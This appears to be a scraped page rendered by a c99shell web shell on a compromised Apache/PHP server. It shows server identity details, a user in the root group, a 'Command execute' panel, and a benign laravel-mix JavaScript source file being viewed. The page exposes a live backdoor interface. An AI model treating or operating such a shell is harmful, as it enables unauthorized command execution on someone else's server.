Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/inventory.picotech.app/public_html/node_modules/laravel-mix/src/ drwxr-xr-x |
Viewing file: Select action/file-type: /** * @typedef {object} DependencyObject * @property {string} package * @property {(name: string) => boolean} [check] */ /** * @typedef {string | DependencyObject} Dependency */ exports.PackageDependency = class PackageDependency { /** @type {string} */ package; /** @type {string} */ name; /** @type {(name: string) => boolean | Promise<boolean>} */ checkFn; /** * * @param {Dependency} dep */ static from(dep) { const depObj = typeof dep === 'string' ? { package: dep } : dep; return new PackageDependency(depObj.package, depObj.check); } /** * * @param {string} pkg * @param {(name: string) => boolean} [checkFn] */ constructor(pkg, checkFn) { this.package = pkg; this.name = pkg.replace(/(?!^@)@.+$/, ''); this.checkFn = checkFn || (() => true); } async needsInstallation() { return !(await this.isInstalled()) || !(await this.isValid()); } async isInstalled() { try { require.resolve(this.name); return true; } catch (e) { return false; } } async isValid() { return this.checkFn(this.name); } }; |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]-- |